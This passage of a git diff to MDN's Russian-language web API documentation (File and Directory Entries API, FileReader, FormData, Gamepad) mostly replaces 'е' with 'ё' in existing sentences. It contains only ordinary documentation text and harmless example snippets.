спецификации:</p> <ul> <li>При обработке события {{event("drop")}} вы можете вызвать {{domxref("DataTransferItem.webkitGetAsEntry()")}} что бы получить {{domxref("FileSystemEntry")}} для "брошенного" элемента. Если результат не <code>null</code>, то это брошенный файл или каталог, и вы можете использовать вызовы файловой системы для работы с ним.</li> @@ -52,9 +52,9 @@ translation_of: Web/API/File_and_Directory_Entries_API <dt>{{domxref("FileSystemDirectoryEntry")}}</dt> <dd>Представляет отдельный каталог в файловой системе.</dd> <dt>{{domxref("FileSystemDirectoryReader")}}</dt> - <dd>Созданный путем вызова {{domxref("FileSystemDirectoryEntry.createReader()")}}, этот интерфейс предоставляет функции, которые позволяют вам читать содержимое каталога.</dd> + <dd>Созданный путём вызова {{domxref("FileSystemDirectoryEntry.createReader()")}}, этот интерфейс предоставляет функции, которые позволяют вам читать содержимое каталога.</dd> <dt>{{domxref("FileSystemFlags")}}</dt> - <dd>Определяет набор значений, которые используются при указании флагов опций при вызове определенных методов в <a href="https://developer.mozilla.org/en-US/docs/Web/API/File_and_Directory_Entries_API">File System API</a>.</dd> + <dd>Определяет набор значений, которые используются при указании флагов опций при вызове определённых методов в <a href="https://developer.mozilla.org/en-US/docs/Web/API/File_and_Directory_Entries_API">File System API</a>.</dd> <dt>{{domxref("FileError")}}</dt> <dd>Представляет ошибку, которая возникает при вызовах асинхронной файловой системы.</dd> </dl> @@ -63,7 +63,7 @@ translation_of: Web/API/File_and_Directory_Entries_API <h2 id="Синхронный_API">Синхронный API</h2> -<p>Синхронный API следует использовать только в {{domxref("Worker")}}-ах; эти вызовы блокируются до тех пор, пока не закончат свое выполнение, и просто возвращают результаты вместо использования колбэков. Использование их в основном потоке заблокирует браузер, что непослушно. В противном случае интерфейсы ниже отражают интерфейсы асинхронного API.</p> +<p>Синхронный API следует использовать только в {{domxref("Worker")}}-ах; эти вызовы блокируются до тех пор, пока не закончат своё выполнение, и просто возвращают результаты вместо использования колбэков. Использование их в основном потоке заблокирует браузер, что непослушно. В противном случае интерфейсы ниже отражают интерфейсы асинхронного API.</p> <dl> <dt>{{domxref("FileSystemSync")}}</dt> @@ -75,7 +75,7 @@ translation_of: Web/API/File_and_Directory_Entries_API <dt>{{domxref("FileSystemDirectoryEntrySync")}}</dt> <dd>Представляет отдельный каталог в файловой системе.</dd> <dt>{{domxref("FileSystemDirectoryReaderSync")}}</dt> - <dd>Созданный путем вызова {{domxref("FileSystemDirectoryEntrySync.createReader()")}}, этот интерфейс предоставляет функции, которые позволяют вам читать содержимое каталога.</dd> + <dd>Созданный путём вызова {{domxref("FileSystemDirectoryEntrySync.createReader()")}}, этот интерфейс предоставляет функции, которые позволяют вам читать содержимое каталога.</dd> <dt>{{domxref("FileException")}}</dt> <dd>Представляет ошибку, которая возникает при вызовах синхронной файловой системы.</dd> </dl> diff --git a/files/ru/web/api/file_and_directory_entries_api/introduction/index.html b/files/ru/web/api/file_and_directory_entries_api/introduction/index.html index fba2cad5c7..bd5a67aa08 100644 --- a/files/ru/web/api/file_and_directory_entries_api/introduction/index.html +++ b/files/ru/web/api/file_and_directory_entries_api/introduction/index.html @@ -8,7 +8,7 @@ original_slug: Web/API/File_and_Directory_Entries_API/Введение <p><span class="seoSummary">API файлов и каталогов эмулирует для веб-приложений локальную файловую систему. У вас есть возможность создания приложений, которые могут читать, записывать и создавать файлы и директории в изолированной виртуальной файловой системе.</span></p> -<p>API файлов и каталогов взаимодействует с другими API. Оно было создано на основе File Writer API, который в свою очередь использует File API. Каждое API реализует разную функциональность. Данные программные интерфейсы являются огромным эволюционным скачком для веб-приложений, которые теперь могут кешировать и обрабатывать большие объемы данных. </p> +<p>API файлов и каталогов взаимодействует с другими API. Оно было создано на основе File Writer API, который в свою очередь использует File API. Каждое API реализует разную функциональность. Данные программные интерфейсы являются огромным эволюционным скачком для веб-приложений, которые теперь могут кешировать и обрабатывать большие объёмы данных. </p> <h2 id="Об_этом_документе">Об этом документе</h2> @@ -37,7 +37,7 @@ original_slug: Web/API/File_and_Directory_Entries_API/Введение <h3 id="API_файлов_и_каталогов_и_другие_программные_интерфейсы_хранения_данных">API файлов и каталогов и другие программные интерфейсы хранения данных</h3> -<p>API файлов и каталогов является альтернативой для других интерфейсов хранения данных, таких как <a href="https://developer.mozilla.org/en/IndexedDB/Basic_Concepts_Behind_IndexedDB">IndexedDB</a>, WebSQL (признано устаревшим с 18 ноября 2010 г.) и AppCache. Тем не менее данное API является более хорошим выбором для приложений, обрабатывающим большие объемы данных, по следующим причинам:</p> +<p>API файлов и каталогов является альтернативой для других интерфейсов хранения данных, таких как <a href="https://developer.mozilla.org/en/IndexedDB/Basic_Concepts_Behind_IndexedDB">IndexedDB</a>, WebSQL (признано устаревшим с 18 ноября 2010 г.) и AppCache. Тем не менее данное API является более хорошим выбором для приложений, обрабатывающим большие объёмы данных, по следующим причинам:</p> <ul> <li>Данное API предлагает возможность хранения данных на стороне клиента в вариантах использования, которые не могут быть решены с помощью баз данных. Например, данное API является намного более производительным в случае хранения и обработки больших файлов.</li> @@ -52,7 +52,7 @@ original_slug: Web/API/File_and_Directory_Entries_API/Введение <ul> <li>Приложения с постоянной загрузкой. <ul> - <li>Когда файл или каталог выбран для загрузки на сервер, есть возможность скопировать файлы в локальную песочницу и начать их поочередную загрузку. </li> + <li>Когда файл или каталог выбран для загрузки на сервер, есть возможность скопировать файлы в локальную песочницу и начать их поочерёдную загрузку. </li> <li>Приложение может продолжить загрузку после закрытия или аварийного сбоя браузера, прерывание связи или завершения работы компьютера.</li> </ul> </li> diff --git a/files/ru/web/api/filereader/index.html b/files/ru/web/api/filereader/index.html index a65044776d..42cf4ee917 100644 --- a/files/ru/web/api/filereader/index.html +++ b/files/ru/web/api/filereader/index.html @@ -13,7 +13,7 @@ translation_of: Web/API/FileReader <h2 id="Общая_информация">Общая информация</h2> -<p>Объект <code>FileReader</code> позволяет веб-приложениям асинхронно читать содержимое файлов (или буферы данных), хранящиеся на компьютере пользователя, используя объекты {{domxref("File")}} или {{domxref("Blob")}}, с помощью которых задается файл или данные для чтения.</p> +<p>Объект <code>FileReader</code> позволяет веб-приложениям асинхронно читать содержимое файлов (или буферы данных), хранящиеся на компьютере пользователя, используя объекты {{domxref("File")}} или {{domxref("Blob")}}, с помощью которых задаётся файл или данные для чтения.</p> <p>Объекты <code>File</code> можно получить через объект {{domxref("FileList")}}, который возвращается как результат при выборе файлов пользователем с помощью элемента {{HTMLElement("input")}}, через drag and drop из объекта {{domxref("DataTransfer")}}, или с помощью <code>mozGetAsFile()</code>, метода доступного в API элемента {{domxref("HTMLCanvasElement")}}.</p> @@ -37,7 +37,7 @@ translation_of: Web/API/FileReader <dt>{{domxref("FileReader.readyState")}} {{readonlyinline}}</dt> <dd>Число обозначающее состояние объекта <code>FileReader</code>. Принимает одно из значений {{ anch("State constants") }}.</dd> <dt>{{domxref("FileReader.result")}} {{readonlyinline}}</dt> - <dd>Данные из файла. Значение свойства действительно только когда завершится операция чтения, причем формат данных зависит от способа, с помощью которого процесс был вызван.</dd> + <dd>Данные из файла. Значение свойства действительно только когда завершится операция чтения, причём формат данных зависит от способа, с помощью которого процесс был вызван.</dd> </dl> <h3 id="Обработка_событий">Обработка событий</h3> @@ -64,7 +64,7 @@ translation_of: Web/API/FileReader <h3 id="State_constants" name="State_constants">Константы состояния</h3> <ul> - <li><code>EMPTY </code> : <code>0</code> : Данные еще не были загружены.</li> + <li><code>EMPTY </code> : <code>0</code> : Данные ещё не были загружены.</li> <li><code>LOADING</code> : <code>1</code> : Данные в данный момент загружаются.</li> <li><code>DONE </code> : <code>2</code> : Операция чтения была завершена.</li> </ul> @@ -118,7 +118,7 @@ translation_of: Web/API/FileReader <ul> <li>В версиях Gecko ниже 2.0 beta 7 (Firefox 4.0 beta 7), все параметры {{ domxref("Blob") }} были параметрами {{ domxref("File") }}; в последствии это было изменено, для соответствия спецификации.</li> - <li>В версиях Gecko ниже 13.0 {{ geckoRelease("13.0") }} свойство <code>FileReader.error</code> возвращало объект {{ domxref("FileError") }}. Этот интерфейс был упразднен и теперь свойство <code>FileReader.error</code> возвращает объект {{ domxref("DOMError") }}, что соответствует определению FileAPI последней спецификации.</li> + <li>В версиях Gecko ниже 13.0 {{ geckoRelease("13.0") }} свойство <code>FileReader.error</code> возвращало объект {{ domxref("FileError") }}. Этот интерфейс был упразднён и теперь свойство <code>FileReader.error</code> возвращает объект {{ domxref("DOMError") }}, что соответствует определению FileAPI последней спецификации.</li> </ul> <h2 id="See_also" name="See_also">См. также</h2> diff --git a/files/ru/web/api/filereader/readasarraybuffer/index.html b/files/ru/web/api/filereader/readasarraybuffer/index.html index da7fd56e8c..29fb2d3cb5 100644 --- a/files/ru/web/api/filereader/readasarraybuffer/index.html +++ b/files/ru/web/api/filereader/readasarraybuffer/index.html @@ -97,7 +97,7 @@ translation_of: Web/API/FileReader/readAsArrayBuffer </table> </div> -<p>[1] До Gecko 2.0 beta 7 (Firefox 4.0 beta 7), все {{domxref("Blob")}} параметры были {{domxref("File")}} параметрами; были произведены изменения<span id="result_box" lang="ru"><span class="alt-edited"> для</span> <span class="alt-edited">удовлетворения условий</span> <span class="alt-edited">спецификации</span></span>. До Gecko 13.0 {{geckoRelease("13.0")}}<code> свойство FileReader.error</code> возвращало объект {{domxref("FileError")}}. Этот интерфейс был удален и теперь <code>FileReader.error</code> возвращает объект {{domxref("DOMError")}} как это определено в последнем черновике FileAPI.</p> +<p>[1] До Gecko 2.0 beta 7 (Firefox 4.0 beta 7), все {{domxref("Blob")}} параметры были {{domxref("File")}} параметрами; были произведены изменения<span id="result_box" lang="ru"><span class="alt-edited"> для</span> <span class="alt-edited">удовлетворения условий</span> <span class="alt-edited">спецификации</span></span>. До Gecko 13.0 {{geckoRelease("13.0")}}<code> свойство FileReader.error</code> возвращало объект {{domxref("FileError")}}. Этот интерфейс был удалён и теперь <code>FileReader.error</code> возвращает объект {{domxref("DOMError")}} как это определено в последнем черновике FileAPI.</p> <p>[2] IE9 имеет <a href="http://html5labs.interoperabilitybridges.com/prototypes/fileapi/fileapi/info">File API Lab</a>.</p> diff --git a/files/ru/web/api/filereader/readasbinarystring/index.html b/files/ru/web/api/filereader/readasbinarystring/index.html index 4f4f5cb6a2..30bd9dfb31 100644 --- a/files/ru/web/api/filereader/readasbinarystring/index.html +++ b/files/ru/web/api/filereader/readasbinarystring/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/FileReader/readAsBinaryString --- <div>{{APIRef("File API")}} {{non-standard_header}}</div> -<p>Метод <code>readAsBinaryString</code> используется для начала считывания содержимого определенного как {{domxref("Blob")}} или {{domxref("File")}}. Когда операция чтения завершится {{domxref("FileReader.readyState","readyState")}} становится <code>DONE</code>, и срабатывает {{event("loadend")}} . В это время атрибут {{domxref("FileReader.result","result")}} содержит сырые бинарные данные из файла.</p> +<p>Метод <code>readAsBinaryString</code> используется для начала считывания содержимого определённого как {{domxref("Blob")}} или {{domxref("File")}}. Когда операция чтения завершится {{domxref("FileReader.readyState","readyState")}} становится <code>DONE</code>, и срабатывает {{event("loadend")}} . В это время атрибут {{domxref("FileReader.result","result")}} содержит сырые бинарные данные из файла.</p> <p>Заметьте, что этот метод устарел (12 July 2012 Working Draft from the W3C.)</p> @@ -48,7 +48,7 @@ canvas.toBlob(function (blob) { <h2 id="Спецификации">Спецификации</h2> -<p>Этот метод был удален из стандарта FileAPI. Вместо него следует использовать {{domxref("FileReader.readAsArrayBuffer()")}}.</p> +<p>Этот метод был удалён из стандарта FileAPI. Вместо него следует использовать {{domxref("FileReader.readAsArrayBuffer()")}}.</p> <h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2> diff --git a/files/ru/web/api/fontface/index.html b/files/ru/web/api/fontface/index.html index 7769abe93e..2b7a991c7e 100644 --- a/files/ru/web/api/fontface/index.html +++ b/files/ru/web/api/fontface/index.html @@ -14,7 +14,7 @@ translation_of: Web/API/FontFace <dl> <dt>{{domxref("FontFace.FontFace", "FontFace()")}}</dt> - <dd>Создает и возвращает новый объект <code>FontFace</code>, созданный из внешнего ресурса, описанного URL-адресом или из {{domxref("ArrayBuffer")}}.</dd> + <dd>Создаёт и возвращает новый объект <code>FontFace</code>, созданный из внешнего ресурса, описанного URL-адресом или из {{domxref("ArrayBuffer")}}.</dd> </dl> <h2 id="Свойства">Свойства</h2> diff --git a/files/ru/web/api/formdata/append/index.html b/files/ru/web/api/formdata/append/index.html index 6e3b43a2b1..dcaf2440f4 100644 --- a/files/ru/web/api/formdata/append/index.html +++ b/files/ru/web/api/formdata/append/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/FormData/append --- <p>{{APIRef("XMLHttpRequest")}}</p> -<p>Метод <code><strong>append()</strong></code> из интерфейса {{domxref("FormData")}} добавляет новое значение в существующий ключ внутри объекта <code>FormData</code>, или создает ключ, в случае если он отсутствует.</p> +<p>Метод <code><strong>append()</strong></code> из интерфейса {{domxref("FormData")}} добавляет новое значение в существующий ключ внутри объекта <code>FormData</code>, или создаёт ключ, в случае если он отсутствует.</p> <p>Разница между {{domxref("FormData.set")}} и <code>append()</code> в том, что если заданный ключ уже существует, {{domxref("FormData.set")}} заменит данные в нем на новые, а <code>append()</code> добавит новое значение к остальным в конец.</p> @@ -26,9 +26,9 @@ formData.append(name, value, filename);</pre> <dt><code>name</code></dt> <dd>Имя поля, которое будет содержать данные из <code>value</code>.</dd> <dt><code>value</code></dt> - <dd>Значение поля. В варианте с двумя параметрами, это является {{domxref("USVString")}}, если значение не является строкой, то оно будет в нее конвертировано. В варианте с тремя параметрами это может быть {{domxref("Blob")}}, {{domxref("File")}}, или {{domxref("USVString")}}, И снова, если ни один из них не указан в значении то оно будет конвертировано в строку.</dd> + <dd>Значение поля. В варианте с двумя параметрами, это является {{domxref("USVString")}}, если значение не является строкой, то оно будет в неё конвертировано. В варианте с тремя параметрами это может быть {{domxref("Blob")}}, {{domxref("File")}}, или {{domxref("USVString")}}, И снова, если ни один из них не указан в значении то оно будет конвертировано в строку.</dd> <dt><code>filename </code>{{optional_inline}}</dt> - <dd>Имя файла которое будет отправлено серверу ({{domxref("USVString")}}), когда {{domxref("Blob")}} или {{domxref("File")}} прошел проверку как второй параметр. Стандартное имя файла для {{domxref("Blob")}} объектов это "blob".</dd> + <dd>Имя файла которое будет отправлено серверу ({{domxref("USVString")}}), когда {{domxref("Blob")}} или {{domxref("File")}} прошёл проверку как второй параметр. Стандартное имя файла для {{domxref("Blob")}} объектов это "blob".</dd> </dl> <div class="note"> @@ -41,7 +41,7 @@ formData.append(name, value, filename);</pre> <h2 id="Пример">Пример</h2> -<p>Данная строка кода создает пустой <code>FormData</code> объект:</p> +<p>Данная строка кода создаёт пустой <code>FormData</code> объект:</p> <pre class="brush: js">var formData = new FormData(); // Currently empty</pre> diff --git a/files/ru/web/api/formdata/delete/index.html b/files/ru/web/api/formdata/delete/index.html index f4c6db339c..51ed9731aa 100644 --- a/files/ru/web/api/formdata/delete/index.html +++ b/files/ru/web/api/formdata/delete/index.html @@ -28,7 +28,7 @@ translation_of: Web/API/FormData/delete <h2 id="Пример">Пример</h2> -<p>Следующий код создает объект <code>FormData</code> и заполняет его парами "ключ"/"значение" из формы:</p> +<p>Следующий код создаёт объект <code>FormData</code> и заполняет его парами "ключ"/"значение" из формы:</p> <pre class="brush: js">var formData = new FormData(myForm);</pre> diff --git a/files/ru/web/api/formdata/formdata/index.html b/files/ru/web/api/formdata/formdata/index.html index 260388230f..fde13d802a 100644 --- a/files/ru/web/api/formdata/formdata/index.html +++ b/files/ru/web/api/formdata/formdata/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/FormData/FormData --- <p>{{APIRef("XMLHttpRequest")}}</p> -<p>Конструктор <code><strong>FormData()</strong></code> создает новые объект {{domxref("FormData")}}, если проще - HTML-форму<strong>.</strong></p> +<p>Конструктор <code><strong>FormData()</strong></code> создаёт новые объект {{domxref("FormData")}}, если проще - HTML-форму<strong>.</strong></p> <h2 id="Синтаксис">Синтаксис</h2> @@ -59,7 +59,7 @@ console.log( <pre class="brush: js">formData.get(name); </pre> -<p>Проверка на наличие определенного элемента формы:</p> +<p>Проверка на наличие определённого элемента формы:</p> <pre class="brush: js">formData.has(name);</pre> diff --git a/files/ru/web/api/formdata/get/index.html b/files/ru/web/api/formdata/get/index.html index df52182d7b..d5f2d497df 100644 --- a/files/ru/web/api/formdata/get/index.html +++ b/files/ru/web/api/formdata/get/index.html @@ -28,7 +28,7 @@ translation_of: Web/API/FormData/get <h2 id="Пример">Пример</h2> -<p>Следующий код создает пустой объект <code>FormData</code>:</p> +<p>Следующий код создаёт пустой объект <code>FormData</code>:</p> <pre class="brush: js">var formData = new FormData();</pre> @@ -60,7 +60,7 @@ formData.append('username', 'Кирилл');</pre> <h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести исправления, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести исправления, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос.</div> <p>{{Compat("api.FormData.get")}}</p> diff --git a/files/ru/web/api/formdata/getall/index.html b/files/ru/web/api/formdata/getall/index.html index 24e12c408b..e2294811bf 100644 --- a/files/ru/web/api/formdata/getall/index.html +++ b/files/ru/web/api/formdata/getall/index.html @@ -39,7 +39,7 @@ formData.append('username', 'Кирилл');</pre> <p>Тогда метод <code>getAll()</code> вернёт оба значения <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">username</span></font> в виде массива:</p> -<pre class="brush: js notranslate">formData.getAll('username'); // Вернет ["Борис", "Кирилл"]</pre> +<pre class="brush: js notranslate">formData.getAll('username'); // Вернёт ["Борис", "Кирилл"]</pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/api/formdata/index.html b/files/ru/web/api/formdata/index.html index d41f05327f..f523a5957c 100644 --- a/files/ru/web/api/formdata/index.html +++ b/files/ru/web/api/formdata/index.html @@ -65,14 +65,14 @@ translation_of: Web/API/FormData <tr> <td>{{SpecName('XMLHttpRequest','#interface-formdata','FormData')}}</td> <td>{{Spec2('XMLHttpRequest')}}</td> - <td>FormData определен в XHR spec</td> + <td>FormData определён в XHR spec</td> </tr> </tbody> </table> <h2 id="Совместимость">Совместимость</h2> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в эти данные, пожалуйста, проверьте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на слияние.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад в эти данные, пожалуйста, проверьте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на слияние.</div> <p>{{Compat("api.FormData")}}</p> diff --git a/files/ru/web/api/formdata/set/index.html b/files/ru/web/api/formdata/set/index.html index e07505b0f1..e8af25b8de 100644 --- a/files/ru/web/api/formdata/set/index.html +++ b/files/ru/web/api/formdata/set/index.html @@ -28,7 +28,7 @@ formData.set(name, value, filename);</pre> <dt><code>value</code></dt> <dd>Значение, присваиваемое полю. В варианте с двумя параметрами, это <a class="new" href="https://developer.mozilla.org/ru/docs/Web/API/USVString" rel="nofollow" title="Документация об этом ещё не написана; пожалуйста, поспособствуйте её написанию!"><code>USVString</code></a>, если нет, то оно будет конвертировано. В варианте с тремя параметрами это может быть <a href="https://developer.mozilla.org/ru/docs/Web/API/Blob" title="Объект Blob представляет из себя объект наподобие файла с неизменяемыми, сырыми данными. Blob-ы представляют данные, которые могут быть не в родном формате JavaScript. Интерфейс File основан на Blob, наследует функциональность Blob и расширяет его для поддержки файлов на системе пользователя."><code>Blob</code></a>, <a href="https://developer.mozilla.org/ru/docs/Web/API/File" title="Интерфейс File представляет информацию о файлах и предоставляет JavaScript в веб странице доступ к их контенту."><code>File</code></a>, или <a class="new" href="https://developer.mozilla.org/ru/docs/Web/API/USVString" rel="nofollow" title="Документация об этом ещё не написана; пожалуйста, поспособствуйте её написанию!"><code>USVString</code></a>, И снова, если ни один из них не указан в значении то оно будет конвертировано в строку.</dd> <dt><code>filename </code>{{optional_inline}}</dt> - <dd>Имя файла, которое будет отправлено серверу (<a class="new" href="https://developer.mozilla.org/ru/docs/Web/API/USVString" rel="nofollow" title="Документация об этом ещё не написана; пожалуйста, поспособствуйте её написанию!"><code>USVString</code></a>), когда <a href="https://developer.mozilla.org/ru/docs/Web/API/Blob" title="Объект Blob представляет из себя объект наподобие файла с неизменяемыми, сырыми данными. Blob-ы представляют данные, которые могут быть не в родном формате JavaScript. Интерфейс File основан на Blob, наследует функциональность Blob и расширяет его для поддержки файлов на системе пользователя."><code>Blob</code></a> или <a href="https://developer.mozilla.org/ru/docs/Web/API/File" title="Интерфейс File представляет информацию о файлах и предоставляет JavaScript в веб странице доступ к их контенту."><code>File</code></a> прошел проверку как второй параметр. Стандартное имя файла для <a href="https://developer.mozilla.org/ru/docs/Web/API/Blob" title="Объект Blob представляет из себя объект наподобие файла с неизменяемыми, сырыми данными. Blob-ы представляют данные, которые могут быть не в родном формате JavaScript. Интерфейс File основан на Blob, наследует функциональность Blob и расширяет его для поддержки файлов на системе пользователя."><code>Blob</code></a> объектов это "blob".</dd> + <dd>Имя файла, которое будет отправлено серверу (<a class="new" href="https://developer.mozilla.org/ru/docs/Web/API/USVString" rel="nofollow" title="Документация об этом ещё не написана; пожалуйста, поспособствуйте её написанию!"><code>USVString</code></a>), когда <a href="https://developer.mozilla.org/ru/docs/Web/API/Blob" title="Объект Blob представляет из себя объект наподобие файла с неизменяемыми, сырыми данными. Blob-ы представляют данные, которые могут быть не в родном формате JavaScript. Интерфейс File основан на Blob, наследует функциональность Blob и расширяет его для поддержки файлов на системе пользователя."><code>Blob</code></a> или <a href="https://developer.mozilla.org/ru/docs/Web/API/File" title="Интерфейс File представляет информацию о файлах и предоставляет JavaScript в веб странице доступ к их контенту."><code>File</code></a> прошёл проверку как второй параметр. Стандартное имя файла для <a href="https://developer.mozilla.org/ru/docs/Web/API/Blob" title="Объект Blob представляет из себя объект наподобие файла с неизменяемыми, сырыми данными. Blob-ы представляют данные, которые могут быть не в родном формате JavaScript. Интерфейс File основан на Blob, наследует функциональность Blob и расширяет его для поддержки файлов на системе пользователя."><code>Blob</code></a> объектов это "blob".</dd> </dl> <div class="note"> @@ -37,7 +37,7 @@ formData.set(name, value, filename);</pre> <h2 id="Пример">Пример</h2> -<p>Следующий код создает пустой <code>FormData</code> объект:</p> +<p>Следующий код создаёт пустой <code>FormData</code> объект:</p> <pre class="brush: js">var formData = new FormData(); // Сейчас пустой</pre> diff --git a/files/ru/web/api/gamepad/buttons/index.html b/files/ru/web/api/gamepad/buttons/index.html index 90665213fb..a789d8d152 100644 --- a/files/ru/web/api/gamepad/buttons/index.html +++ b/files/ru/web/api/gamepad/buttons/index.html @@ -22,7 +22,7 @@ translation_of: Web/API/Gamepad/buttons <h2 id="Пример">Пример</h2> -<p>Приведенный код взят из моего<em> (автора статьи)</em> демо Gamepad API button (вы можете <a href="http://chrisdavidmills.github.io/gamepad-buttons/" rel="noopener">Посмотреть демо</a>, и <a href="https://github.com/chrisdavidmills/gamepad-buttons/tree/master" rel="noopener">посмотреть исходники на GitHub</a>). Важно — в Chrome <a href="https://developer.mozilla.org/ru/docs/Web/API/Navigator/getGamepads"><code>Navigator.getGamepads</code></a> необходимо установить префикс <code>webkit</code>, и значения кнопки будут представлять из себя массив дробных чисел, тогда как в Firefox <a href="https://developer.mozilla.org/ru/docs/Web/API/Navigator/getGamepads"><code>Navigator.getGamepads</code></a> нет необходимости устанавливать префикс, и значения будут представлять собой массив объектов <a href="https://developer.mozilla.org/ru/docs/Web/API/GamepadButton"><code>GamepadButton</code></a>; Свойство <a href="https://developer.mozilla.org/ru/docs/Web/API/GamepadButton/value" rel="nofollow"><code>GamepadButton.value</code></a> или <a href="https://developer.mozilla.org/ru/docs/Web/API/GamepadButton/pressed" rel="nofollow"><code>GamepadButton.pressed</code></a> необходимо для получения состояния кнопки, в зависимости от от типа кнопки. В данном простом примере обрабатывается оба вида кнопок.</p> +<p>Приведённый код взят из моего<em> (автора статьи)</em> демо Gamepad API button (вы можете <a href="http://chrisdavidmills.github.io/gamepad-buttons/" rel="noopener">Посмотреть демо</a>, и <a href="https://github.com/chrisdavidmills/gamepad-buttons/tree/master" rel="noopener">посмотреть исходники на GitHub</a>). Важно — в Chrome <a href="https://developer.mozilla.org/ru/docs/Web/API/Navigator/getGamepads"><code>Navigator.getGamepads</code></a> необходимо установить префикс <code>webkit</code>, и значения кнопки будут представлять из себя массив дробных чисел, тогда как в Firefox <a href="https://developer.mozilla.org/ru/docs/Web/API/Navigator/getGamepads"><code>Navigator.getGamepads</code></a> нет необходимости устанавливать префикс, и значения будут представлять собой массив объектов <a href="https://developer.mozilla.org/ru/docs/Web/API/GamepadButton"><code>GamepadButton</code></a>; Свойство <a href="https://developer.mozilla.org/ru/docs/Web/API/GamepadButton/value" rel="nofollow"><code>GamepadButton.value</code></a> или <a href="https://developer.mozilla.org/ru/docs/Web/API/GamepadButton/pressed" rel="nofollow"><code>GamepadButton.pressed</code></a> необходимо для получения состояния кнопки, в зависимости от от типа кнопки. В данном простом примере обрабатывается оба вида кнопок.</p> <pre class="brush: js notranslate">function gameLoop() { if(navigator.webkitGetGamepads) { diff --git a/files/ru/web/api/gamepad/connected/index.html b/files/ru/web/api/gamepad/connected/index.html index 8170c0f537..9e2188d733 100644 --- a/files/ru/web/api/gamepad/connected/index.html +++ b/files/ru/web/api/gamepad/connected/index.html @@ -5,9 +5,9 @@ translation_of: Web/API/Gamepad/connected --- <p>{{APIRef("Gamepad API")}}</p> -<p>Свойство <code><strong>Gamepad.connected</strong></code> интерфейса {{domxref("Gamepad") }} возвращает логическое значение того, подключен ли всё ещё геймпад к системе.</p> +<p>Свойство <code><strong>Gamepad.connected</strong></code> интерфейса {{domxref("Gamepad") }} возвращает логическое значение того, подключён ли всё ещё геймпад к системе.</p> -<p>Если геймпад подключен - значение равно <code>true</code>; если нет - <code>false</code>.</p> +<p>Если геймпад подключён - значение равно <code>true</code>; если нет - <code>false</code>.</p> <h2 id="Синтаксис">Синтаксис</h2> diff --git a/files/ru/web/api/gamepad/id/index.html b/files/ru/web/api/gamepad/id/index.html index ef66df6574..66be8d6484 100644 --- a/files/ru/web/api/gamepad/id/index.html +++ b/files/ru/web/api/gamepad/id/index.html @@ -7,14 +7,14 @@ translation_of: Web/API/Gamepad/id <p>Свойство<strong> <code>Gamepad.id</code></strong> интерфейса {{domxref("Gamepad") }} возвращает строку, содержащую некоторую информацию о контроллере.</p> -<p>Существующий синтаксис не стандартизирован, но в Firefox эта строка представляет собой три значения, разделенные тире (<code>-</code>):</p> +<p>Существующий синтаксис не стандартизирован, но в Firefox эта строка представляет собой три значения, разделённые тире (<code>-</code>):</p> <ul> - <li>Две четырехзначных шестнадцатеричных строки, содержащих USB vendor id (<code>VID</code>) и product id (<code>PID</code>) контроллера</li> + <li>Две четырёхзначных шестнадцатеричных строки, содержащих USB vendor id (<code>VID</code>) и product id (<code>PID</code>) контроллера</li> <li>Имя контроллера, предоставленное драйвером.</li> </ul> -<p>Например, PS2 контроллер вернет <code><strong>810-3-USB Gamepad</strong></code>.</p> +<p>Например, PS2 контроллер вернёт <code><strong>810-3-USB Gamepad</strong></code>.</p> <p>Эта информация позволяет вам найти соответствие для элементов управления контроллера, а также, отобразить полезную информацию для пользователя.</p> diff --git a/files/ru/web/api/gamepad/index.html b/files/ru/web/api/gamepad/index.html index 2059e361da..376c436448 100644 --- a/files/ru/web/api/gamepad/index.html +++ b/files/ru/web/api/gamepad/index.html @@ -7,7 +7,7 @@ translation_of: Web/API/Gamepad <p>Интерфейс <strong><code>Gamepad</code></strong> <a href="/en-US/docs/Web/API/Gamepad_API">Gamepad API</a> определяет отдельный геймпад или контроллер, предоставляющий доступ к такой информации, как: нажатие кнопок, позиции осей, и id.</p> -<p>Объект <code>Gamepad</code> может быть возвращен в одном из двух случаев: как свойство <code>gamepad</code> событий {{event("gamepadconnected")}} и {{event("gamepaddisconnected")}}, или считыванием любой позиции в массиве, возвращенном методом {{domxref("Navigator.getGamepads()")}}.</p> +<p>Объект <code>Gamepad</code> может быть возвращён в одном из двух случаев: как свойство <code>gamepad</code> событий {{event("gamepadconnected")}} и {{event("gamepaddisconnected")}}, или считыванием любой позиции в массиве, возвращённом методом {{domxref("Navigator.getGamepads()")}}.</p> <h2 id="Свойства">Свойства</h2> @@ -17,11 +17,11 @@ translation_of: Web/API/Gamepad <dt>{{domxref("Gamepad.id")}} {{readonlyInline}}</dt> <dd>{{domxref("DOMString")}} содержит идентификационную информацию о контроллере.</dd> <dt>{{domxref("Gamepad.index")}} {{readonlyInline}}</dt> - <dd>Целое автоинкрементируемое значение, уникальное для каждого устройства, подключенного в данный момент к системе.</dd> + <dd>Целое автоинкрементируемое значение, уникальное для каждого устройства, подключённого в данный момент к системе.</dd> <dt>{{domxref("Gamepad.mapping")}} {{readonlyInline}}</dt> <dd>Строка, указывающая, переназначил ли браузер элементы управления устройства на уже известный шаблон.</dd> <dt>{{domxref("Gamepad.connected")}} {{readonlyInline}}</dt> - <dd>Логическое свойство показывающее, подключен ли геймпад к системе в данный момент.</dd> + <dd>Логическое свойство показывающее, подключён ли геймпад к системе в данный момент.</dd> <dt>{{domxref("Gamepad.buttons")}} 